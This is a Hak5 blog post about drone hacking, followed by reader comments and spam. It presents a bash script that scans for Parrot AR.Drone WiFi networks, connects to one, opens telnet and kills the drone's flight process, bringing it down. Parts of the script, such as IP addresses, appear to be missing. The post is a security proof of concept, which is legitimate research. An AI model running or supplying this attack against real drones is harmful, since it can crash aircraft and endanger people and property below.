Drone Hacking from an airborne WiFi Pineapple this time on Hak5.

Download HD | Download MP4

Youtube Hak5 1518.1:
Youtube Hak5 1518.2:

Drone Hacking from an airborne WiFi Pineapple – this time on Hak5. Darren demonstrates his proof of concept “Denial of Drone” attack targeting the Parrot AR.Drone from a WiFi Pineapple equipped DJI Phantom 2 Vision. Inspired by Sammy Kamkar’s Raspberry Pi based Skyjacking demo, this drone killer PoC takes a backdoor approach without the need to deauth clients.

Here’s the quick and dirty shell script. The only dependency is “empty” – a TCL/expect clone that uses stdin/out for process automation.

#!/bin/bash version 0.1 by Darren Kitchen – absolutely horrible code. Do not use under any circumstance. Send all flame mail to

while true; do
if ! ( iw wlan0 scan | grep SSID | awk ‘{print $2}’ | grep [a]rdrone ); then
echo “No Drones Found”
echo “Drone Found! Attempting to connect”
DRONESSID=`iw wlan0 scan | grep SSID | awk ‘{print $2}’ | grep [a]rdrone`
iwconfig wlan1 essid $DRONESSID
sleep 2

echo “Testing Wireless Association”
if ! ( iwconfig wlan1 | grep $DRONESSID ); then
echo “Association to $DRONESSID failed”
echo “Association to $DRONESSID successful”

echo “Setting Static IP Address”
ifconfig wlan1 netmask up
sleep 2

echo “Testing IP Connection”
if ! ( ping -c1 | grep from ); then
echo “IP Connection Failed”
echo “IP Connection Successful”
echo “Connecting to Telnet and sending kill command. Banzai!”
empty -f -i /tmp/drone_input.fifo -o /tmp/drone_output.fifo -p /tmp/ telnet
empty -w -i /tmp/drone_output.fifo -o /tmp/drone_input.fifo BusyBox “kill -KILL \`pidof program.elf\`\n”
kill `pidof empty`
echo “”
echo “Kill command sent. Splash one drone”
echo “”


sleep 60

Leave a Reply

Your email address will not be published. Required fields are marked *



  • Jack K. 1 year ago

    W O W !
    You folks have out done you selves.
    This is ssooooo HOT!
    I can not wait to see what is next.


  • Nick Landry 1 year ago

    Think about this….. respawner must be killed first as to guarantee that the process is dead before it is even killed.

    Love the show.

  • To make this build compatible with the existing Pineapple Scripts (eg. ). You need to replace the exisitng Openwrt configurations with the ones listed below.

  • Joe Viocoe 1 year ago

    What?… no Dead Parrot skit?

  • D.Williamz 1 year ago

    Loved this show! Watching every week and keep up the great work!

  • Can I simply just say what a comfort to uncover a person that actually knows what they’re discussing on the internet.
    You definitely know how to bring an issue to light and make
    it important. A lot more people really need to read this and understand this side of the story.
    I was surprised that you are not more popular because you definitely
    have the gift.

  • Howdy would you mind letting me know which hosting company you’re utilizing?

    I’ve loaded your blog in 3 different web browsers and I must
    say this blog loads a lot quicker then most. Can you suggest a good web hosting provider at a
    honest price? Thanks a lot, I appreciate it!

  • Ve?y gr?at post. I simply stumblerd ?pon your blog
    andd wished too say that I have really enjoyed browsing ?o?r weblog p?sts.
    After all I will be ?ubscribing for your feed and I am hoping you write again very ?oon!

  • Probably not, but you still might enjoy this little

  • This is fairly good should you be accustomed to eating large portions as you will see
    that consume less. Because there isn’t any scientific proof
    that it’ll help burn away your fat, you need to are the judge of if the truth is any actual
    advantages from applying this all natural remedy. This is why
    it will always be better to your blood glucose levels level,
    and your health in general, you can eat sensibly and well instead of starving yourself.